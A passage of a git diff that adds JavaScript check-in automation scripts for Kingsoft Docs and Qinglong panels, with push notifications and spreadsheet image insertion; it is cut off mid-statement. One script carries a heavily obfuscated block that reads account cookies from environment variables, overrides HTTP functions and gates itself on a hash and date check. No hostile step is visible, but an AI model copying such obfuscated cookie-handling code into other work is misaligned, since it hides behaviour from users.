length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + + let qrcodeContent = Range('D'+pos).Value2 + // console.log(qrcodeContent) + + let url = "https://img.xjh.me/random_img.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + htmlString = resp.text() + imageUrl = htmlString.match(/]*src=['"]([^'"]+)['"]/i); + imageUrl = "https:" + imageUrl[1] + // console.log(imageUrl) + url = imageUrl + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.binary().toString('base64') + // console.log(resp) + let qrcodeImage = 'data:image/png;base64,' + resp + // console.log(resp) + const range = Range('D' + pos) + // 向目标单元格插入图片 + range.InsertImage( + qrcodeImage + ) + console.log("✨ 二次元图片获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/随机唯美文案/2025-08-25_weimei_322bf127.js b/脚本库/web版/账密/随机唯美文案/2025-08-25_weimei_322bf127.js new file mode 100644 index 0000000..0c654fc --- /dev/null +++ b/脚本库/web版/账密/随机唯美文案/2025-08-25_weimei_322bf127.js @@ -0,0 +1,630 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/weimei.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/weimei.js +// # Repo: imoki/sign_script +// # Path: polymerization/weimei.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 322bf127887054856ce60c099935308ba2aa75ac03ff1bf7c856fcceaf88589c +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "随机唯美文案" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:weimei + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "weimei"; // 分配置表名称, (修改这里) +var pushHeader = "【随机唯美文案】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 